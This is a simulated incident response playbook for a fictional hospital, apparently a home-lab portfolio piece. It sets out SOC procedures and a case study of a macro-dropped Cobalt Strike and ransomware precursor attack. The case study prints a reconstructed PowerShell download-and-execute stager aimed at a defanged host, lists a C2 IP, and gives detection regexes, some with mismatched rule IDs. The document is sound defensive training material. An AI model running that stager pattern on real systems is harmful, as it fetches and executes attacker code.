

INCIDENT RESPONSE PLAYBOOK

Malware Infection / Ransomware Precursor

Aligned to NIST SP 800-61 Rev. 2 — Computer Security Incident Handling Guide
Includes: SOC Standard Operating Procedure + Sample Case Study

ORGANIZATION

Lakewood Regional Medical Center

Information Security Team | Incident Response Unit

DOCUMENT ID
LRMC-IS-IRP-002
VERSION
1.0
REVIEW CYCLE
Annual

CLASSIFICATION
SIMULATED / TRAINING
EFFECTIVE DATE
2024-11-15
AUTHOR
D. Taylor Jr. — SOC Analyst

Table of Contents

PART I — SOC STANDARD OPERATING PROCEDURE

1. Purpose & Scope	3
2. Roles & Responsibilities	3
3. Detection & Initial Triage	4
4. Containment	4
5. Eradication	5
6. Recovery	5
7. Post-Incident Activity	6
8. Escalation Thresholds	6

PART II — SAMPLE CASE STUDY

Incident Overview	7
Incident Timeline	8
Indicators of Compromise (IOCs)	9
Technical Analysis	9
Response Actions Taken	10
Lessons Learned & Recommendations	11

Document	Malware Infection / Ransomware Precursor — Incident Response Playbook
Reference	NIST SP 800-61 Rev. 2 HIPAA Breach Notification Rule (45 CFR §164.400–414)
Applies to	All LRMC endpoints, clinical systems, EHR environment, and connected medical devices
Severity	P1 (Critical) if clinical systems or PHI affected; P2 (High) for isolated workstations

1. Purpose & Scope

This playbook defines the standard operating procedure for detecting, containing, eradicating, and recovering from malware incidents — including ransomware precursor activity — at Lakewood Regional Medical Center (LRMC). It applies to all IS security analysts, systems administrators, helpdesk technicians, and clinical department leads.

Healthcare organizations are the most-targeted sector for ransomware campaigns globally. LRMC operates electronic health records (EHR) containing Protected Health Information (PHI) for over 200,000 patients. A successful malware infection that reaches clinical systems may trigger a **HIPAA Breach Notification** obligation and interrupt patient care delivery — both outcomes demand an aggressive, pre-planned response. Any incident confirmed or suspected to involve PHI must be reported to the HIPAA Privacy Officer within **24 hours** of discovery for breach risk assessment.

2. Roles & Responsibilities

IS Analyst (Tier 1)	Alert triage, initial scoping, escalation per this playbook
IS Analyst (Tier 2)	Forensic analysis, malware reverse engineering (static/dynamic), IOC documentation
Incident Commander (IC)	Declared on any P1; coordinates IS, clinical ops, legal, and communications
Sysadmin / IT Ops	Endpoint isolation, image capture, rebuild; AD lockouts; backup validation
HIPAA Privacy Officer	PHI breach risk assessment; HHS/patient notification decisions; legal hold
Clinical Leadership	Downtime procedure activation if EHR access is disrupted; patient safety prioritization
Legal / Compliance	Ransomware payment decisions (OFAC considerations); regulatory guidance

3. Detection & Initial Triage

3.1 Detection Triggers

- SIEM alert: Suspicious macro execution — winword.exe or excel.exe spawning cmd.exe, powershell.exe, or wscript.exe
- EDR alert: Process injection, LSASS access, or known ransomware behavioral signature
- SIEM alert: Outbound connection to uncategorized or low-reputation domain from clinical workstation
- Wazuh rule 100301 fires: PowerShell encoded command execution on endpoint
- Wazuh rule 100302 fires: Mass file rename or extension change (potential encryption activity)
- Helpdesk ticket: User reports documents opening and closing unexpectedly or antivirus disabled
- Network alert: Unusual SMB lateral movement or abnormal file share access volume
- Email gateway: Macro-enabled attachment (.xlsm, .docm) delivered from external sender

3.2 Triage Checklist (Tier 1 — target: 15 minutes)

1	Validate alert	Confirm alert is not a false positive. Identify the triggering process, parent process, and command line.
2	Scope the endpoint	Determine endpoint name, user, department, and network segment. Flag if clinical or EHR-adjacent.
3	Check for spread	Query SIEM: has the C2 domain or malware hash appeared on any other endpoint in the last 24 hours?
4	PHI assessment	Does the affected user have access to EHR, billing, or patient records? Notify Privacy Officer if yes.
5	Assess severity	P1 if clinical systems, EHR, or PHI involved. P2 for isolated non-clinical workstation.
6	Notify & ticket	Open incident ticket. Notify Tier 2. Page IC if P1. Do NOT notify end user — risk of evidence destruction.

4. Containment

4.1 Immediate Containment (0–30 minutes) — DO NOT WIPE

- **Network-isolate the endpoint immediately** via EDR (preferred) or physical network disconnect. Do not shut down — volatile memory contains forensic artifacts.
- Block identified C2 domains and IPs at perimeter firewall and DNS sinkhole.
- Disable the affected user's Active Directory account to prevent lateral movement via stolen credentials.
- If mass file encryption is detected: **emergency disconnect of all network shares** accessible by the affected host to halt encryption spread.
- Snapshot any cloud storage (OneDrive, SharePoint) to a clean restore point before sync propagates encrypted files.

4.2 Expanded Containment (30 min – 4 hours)

- Hunt across all endpoints: query EDR telemetry for the malware hash, C2 domain, and parent process chain. Isolate any additional matches.
 - Block macro execution org-wide via Group Policy if infection vector is confirmed as macro-enabled document.
 - Enable enhanced logging: PowerShell ScriptBlock, WMI subscriptions, scheduled tasks on all Tier-1 systems.
 - Notify clinical leadership if EHR systems are at risk — activate downtime procedures preemptively rather than reactively.
 - Preserve network flow logs, proxy logs, and SIEM data for the 48-hour window prior to detection.
-

5. Eradication

- Collect full memory dump and forensic disk image before any remediation action.
 - Submit malware sample to sandbox (Any.run, Hybrid-Analysis) for behavioral analysis; document all IOCs produced.
 - Remove all identified malicious files, scheduled tasks, registry run keys, WMI subscriptions, and service entries.
 - Rotate credentials for the affected user and any service accounts or shared accounts accessible from the compromised host.
 - Validate removal: re-run EDR hunt query against identified hashes and behavioral signatures. Zero matches required before proceeding.
 - Confirm no additional endpoints were compromised; repeat eradication steps for each affected system.
 - Update AV/EDR signatures, Suricata/Snort rules, and SIEM correlation rules with all new IOCs.
-

6. Recovery

- Reimage affected endpoint from known-good golden image — do not attempt in-place cleanup for P1 malware incidents.
 - Restore data from last known-clean backup. Validate backup integrity before restoration; confirm backup predates infection.
 - Re-join endpoint to domain. Validate Group Policy application and security tooling (EDR, AV, Sysmon) before returning to production.
 - Re-enable user account only after credential reset and confirmation that the endpoint is clean.
 - Monitor restored systems with enhanced SIEM alerting and EDR telemetry for 72 hours post-recovery.
 - Conduct tabletop exercise with clinical leadership if EHR downtime procedures were activated.
-

7. Post-Incident Activity

7.1 Lessons Learned (within 5 business days)

- Conduct post-incident review: IS, IT Ops, IC, Privacy Officer, and affected department lead.

- Document full incident timeline, root cause, dwell time, detection gap, and patient care impact (if any).
- Identify control gaps: what failed to prevent, detect, or contain the incident faster?
- Update detection rules, playbooks, and network segmentation based on findings.

7.2 HIPAA Breach Notification Requirements

If PHI was accessed, exfiltrated, or rendered unavailable due to the malware incident, LRMC is subject to HIPAA Breach Notification Rule (45 CFR §164.400–414). Obligations include: notification to affected individuals within **60 days** of discovery; notification to HHS Secretary; and, if more than 500 individuals in a state are affected, notification to prominent media outlets in that state. The Privacy Officer must perform a four-factor breach risk assessment immediately upon P1 declaration. Ransomware is presumed to be a breach unless the risk assessment demonstrates a low probability that PHI was compromised (per HHS 2016 guidance).

8. Escalation Thresholds

Condition	Severity	Action
Malware detected, sandboxed, no execution confirmed	P3 — Low	Block hash/domain, monitor 24h, close if no spread
Malware executed on isolated non-clinical workstation	P2 — Medium	Full playbook; reimage; no PHI risk
C2 callback confirmed; lateral movement suspected	P2 — High	Expanded containment; hunt across all endpoints; page IC
Clinical workstation or EHR-adjacent system affected	P1 — Critical	Page IC; clinical downtime procedures; Privacy Officer notified
Ransomware encryption activity detected	P1 — Critical	Emergency network share disconnect; exec notification; legal hold; FBI notification consideration

PART II — SAMPLE CASE STUDY

Operation Phantom Script

Incident Overview

Incident ID	INC-2024-0091
Date / Time	2024-11-06 13:47 EST (initial execution) — 16:22 EST (fully contained)
Severity	P1 — Critical (EHR-adjacent host; PHI access confirmed; ransomware precursor activity)
Classification	Malware Infection — Macro Dropper + Drive-by Second Stage — Cobalt Strike Beacon
Affected Host	LRMC-WS-0227 — Billing Dept. workstation, user: R. Vasquez — Billing Coordinator
Systems Affected	LRMC-WS-0227 (primary), LRMC-FS-01 (file server — encrypted files detected on mapped share)
Analyst	D. Taylor Jr. — IS Analyst, Tier 1 / Tier 2
Status	CLOSED — Contained, eradicated, reimaged. HIPAA risk assessment completed. No reportable breach.

Narrative Summary

On November 6, 2024, R. Vasquez, a Billing Coordinator with access to the LRMC patient billing system (and indirect access to PHI through billing records), received an email containing a macro-enabled Excel attachment disguised as a vendor invoice from a spoofed accounts payable address. Vasquez enabled macros when prompted, triggering a VBA macro that launched a PowerShell stager in a hidden window.

The stager made an outbound HTTP request to a compromised WordPress site acting as a redirector, which served a second-stage Cobalt Strike Beacon payload. The beacon established a persistent C2 channel over HTTPS to an actor-controlled server. Within 22 minutes of initial execution, the beacon began enumerating the host, dumping local credentials via a Mimikatz variant, and mapping accessible network shares — including LRMC-FS-01, the department file server.

Wazuh rule 100301 fired on the PowerShell encoded command execution within 4 minutes of the stager launching. The IS analyst on shift identified the alert, correlated it with a concurrent EDR behavioral alert for LSASS memory access, and immediately escalated to P1. Network isolation of the workstation was achieved within 18 minutes of the Wazuh alert. Forensic review confirmed 14 files on the mapped file server share had been renamed with a .locked extension — the early signature of a ransomware encryptor — before the network connection was severed. No further encryption occurred after isolation. HIPAA risk assessment determined a low probability that PHI was accessed; no reportable breach was declared.

Incident Timeline

Time (EST)	Actor	Event
13:47:02	Threat Actor	Malicious email delivered to vasquez.r@lrmc.org. Attachment: Invoice_NOV2024_Sysco.xlsm. Sender: ap-invoices@sysco-billing[.]com (spoofed).
13:52:18	R. Vasquez	User opens attachment in Microsoft Excel. Macro security warning displayed.
13:52:44	R. Vasquez	User clicks 'Enable Content'. VBA macro executes.
13:52:45	VBA Macro	Macro spawns: cmd.exe /c powershell.exe -enc [base64 stager]. PowerShell runs hidden (-WindowStyle Hidden).
13:52:47	PowerShell	Stager makes outbound GET request to hxxps://greenvalleyfarm[.]com/wp-content/uploads/inv.png (compromised WordPress redirector).
13:52:49	Redirector	Redirector serves Cobalt Strike Beacon shellcode disguised as PNG. Shellcode injected into svchost.exe via process hollowing.
13:53:01	CS Beacon	Beacon establishes HTTPS C2 channel to 91.243.80.14:443. Check-in confirmed. Sleep interval: 60s.
13:56:12	Wazuh SIEM	Rule 100301 fires: PowerShell encoded command on LRMC-WS-0227. Alert routed to IS queue.
13:58:40	D. Taylor Jr.	IS analyst receives alert. Correlates with concurrent CrowdStrike EDR alert: LSASS memory read on same host.
14:02:00	CS Beacon	Beacon runs net view and net share to enumerate accessible shares. Maps \\LRMC-FS-01\Billing.
14:06:00	CS Beacon	Mimikatz variant executed in memory. Local account hashes extracted.
14:09:00	Ransomware	Encryptor module dropped and executed. File renaming begins on \\LRMC-FS-01\Billing. 14 files renamed with .locked extension.
14:10:05	D. Taylor Jr.	P1 declared. IC and Privacy Officer paged. EDR network isolation command sent to LRMC-WS-0227.
14:10:31	EDR	Host LRMC-WS-0227 network-isolated. C2 connection severed. Encryption halted.

14:15:00	D. Taylor Jr.	C2 IP and redirector domain blocked at perimeter firewall and DNS sinkhole. Hash blocked in EDR.
14:30:00	IS / IT Ops	Memory dump acquired from LRMC-WS-0227 prior to reimage. Forensic disk image initiated.
16:00:00	IT Ops	LRMC-WS-0227 reimaged from golden image. Security tooling validated. Host returned to network.
16:22:00	D. Taylor Jr.	All IOCs confirmed blocked. File server shares restored from backup (predating infection by 6 hours). Incident contained.

Indicators of Compromise (IOCs)

Type	Indicator	Notes
Email Sender	ap-invoices@sysco-billing[.]com	Spoofed AP address. Not affiliated with Sysco Corp.
Attachment	Invoice_NOV2024_Sysco.xlsm	SHA-256: a3f9c1...d44e (truncated). Macro-enabled Excel.
Stager URL	hxxps://greenvalleyfarm[.]com/wp-content/uploads/inv.png	Compromised WordPress redirector. Defanged.
C2 IP	91.243.80.14:443	Cobalt Strike Team Server. Block at perimeter.
C2 Domain	updates.microsoftedge-cdn[.]net	Domain-fronted C2. Mimics legitimate CDN.
Beacon Process	svchost.exe (PID 3412)	Injected via process hollowing. Parent: powershell.exe.
File Extension	.locked	Ransomware encryptor extension. 14 files on FS-01.
Wazuh Alert	Rule 100301 – PS Encoded Exec	Custom rule. Level 13. Triggered 4 min post-execution.
Reg Persistence	HKCU\Software\Microsoft\Windows\CurrentVersion\Run – 'MicrosoftEdgeUpdate'	Beacon persistence key. Removed during eradication.

All external indicators defanged (hxxps, [.]) to prevent accidental navigation or resolution.

Technical Analysis

Stage 1 — Macro Dropper (VBA)

The VBA macro embedded in Invoice_NOV2024_Sysco.xlsm used an auto-open trigger (Workbook_Open event) to execute immediately upon macro enablement. It constructed a PowerShell command string at runtime using string concatenation to evade static signature detection, then executed it via Shell() with the window hidden. The base64-encoded command decoded to a simple HTTP GET stager:

```
' Decoded PowerShell stager (reconstructed from memory forensics)',  
IEX (New-Object Net.WebClient).DownloadString(  
'hxxps://greenvalleyfarm[.]com/wp-content/uploads/inv.png'  
)
```

Stage 2 — Cobalt Strike Beacon (Drive-by Second Stage)

The compromised WordPress site served shellcode disguised as a PNG file. The shellcode was a reflectively-loaded Cobalt Strike Beacon configured with a malleable C2 profile mimicking Microsoft Edge CDN traffic (Host header: microsoftedge-cdn[.]net) to blend with legitimate HTTPS traffic. The beacon used process hollowing to inject into a running svchost.exe process, making it appear as a legitimate Windows service in process listings.

Persistence was established via a registry Run key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) named 'MicrosoftEdgeUpdate', pointing to a copy of the beacon DLL written to %APPDATA%\Microsoft\EdgeUpdate\msedgeupdate.dll.

Wazuh Detection Rules

Two custom Wazuh rules contributed to detection and escalation:

60612

(?i)-e(nc|ncodedcommand)\s+[A-Za-z0-9+/{20,}

PowerShell encoded command execution detected – possible stager or obfuscation
attack,execution,T1059.001,

60103

\.(locked|encrypted|enc|crypt)\$

Ransomware indicator: file renamed with known encryption extension
attack,impact,ransomware,T1486,

Rule 100301 (level 13) uses a PCRE2 regex to detect Base64-encoded PowerShell arguments — a near-universal indicator of obfuscated execution. Rule 100302 (level 15, critical) fires on any file rename matching known ransomware extensions, mapped to MITRE ATT&CK; T1486 (Data Encrypted for Impact). Both rules route to the IS analyst queue with email and Slack notification.

Response Actions Taken

Detection	Wazuh rule 100301 (PowerShell encoded exec) fired within 4 minutes. Correlated with EDR LSASS alert. P1 declared within 18 minutes of initial execution.
Containment	LRMC-WS-0227 network-isolated via EDR at 14:10:31. C2 severed. Encryption halted at 14 files. C2 IP, redirector domain, and beacon hash blocked at perimeter and EDR within 25 minutes of detection.
Eradication	Memory dump and forensic disk image acquired. Beacon DLL, registry persistence key, and all dropped files identified and documented. Golden image reimaged performed — no in-place cleanup.
Evidence	Full memory dump (LRMC-WS-0227), disk image, Wazuh logs, EDR telemetry, and network flow logs retained for 90-day IR evidence hold. Chain of custody documented.
File Server	14 encrypted files on \\LRMC-FS-01\Billing restored from 08:00 EST backup (6 hours prior to infection). Backup integrity confirmed via hash comparison before restoration.

HIPAA Review	Privacy Officer conducted four-factor breach risk assessment. PHI access not confirmed in forensic logs; encryptor reached file server but no exfiltration observed. Low-probability determination — no reportable breach.
Recovery	Host reimaged, security tooling validated, returned to network at 16:00. R. Vasquez credentials reset. Enhanced monitoring for 72 hours post-recovery.

Lessons Learned & Recommendations

What Worked Well

- Wazuh rule 100301 fired within 4 minutes of PowerShell stager execution — the fastest detection in LRMC's IR history.
- Cross-correlation of SIEM and EDR alerts (LSASS access) gave the analyst immediate confidence to escalate to P1 without waiting for additional confirmation.
- Network isolation via EDR halted ransomware encryption at 14 files — file server damage was minimal and fully recovered from backup.
- Memory dump was acquired before reimage, preserving the in-memory Cobalt Strike beacon for analysis and IOC extraction.

Gaps Identified

- Microsoft Office macro execution was not disabled by Group Policy for the billing department — a preventive control that would have stopped Stage 1 entirely.
- The compromised WordPress redirector had a clean reputation score — URL reputation filtering did not block the outbound stager request.
- No network segmentation existed between the billing workstation and LRMC-FS-01 — the beacon reached the file server without crossing a firewall boundary.
- Rule 100302 (ransomware extension detection) fired 17 minutes after the initial execution alert — an opportunity exists to shorten dwell time further.

Recommendations

R-01	HIGH	Disable VBA macro execution via Group Policy for all non-developer endpoints. Use Microsoft 365 Attack Simulator to test effectiveness.
R-02	HIGH	Implement network micro-segmentation: billing workstations must not have direct SMB access to file servers. Require jump host or ZTNA for share access.
R-03	HIGH	Deploy application allowlisting (WDAC or AppLocker) for high-risk departments: billing, HR, executive assistants.
R-04	MEDIUM	Integrate threat intelligence feed into DNS sinkhole and proxy. Auto-block outbound connections to uncategorized or newly-registered domains from clinical/billing segments.

R-05	MEDIUM	Tune EDR behavioral rules to alert on PowerShell spawned by Office applications — this kill-chain step predates the SIEM alert and could shorten MTTD.
R-06	LOW	Conduct quarterly phishing + malicious attachment simulation. Track macro-enable rates by department. Require re-training for anyone who enables content.

This document was produced as part of a cybersecurity home lab portfolio project. Lakewood Regional Medical Center is a fictional organization. All incidents, individuals, and data are simulated for training and demonstration purposes. No real PHI, patient data, or sensitive healthcare information is contained herein.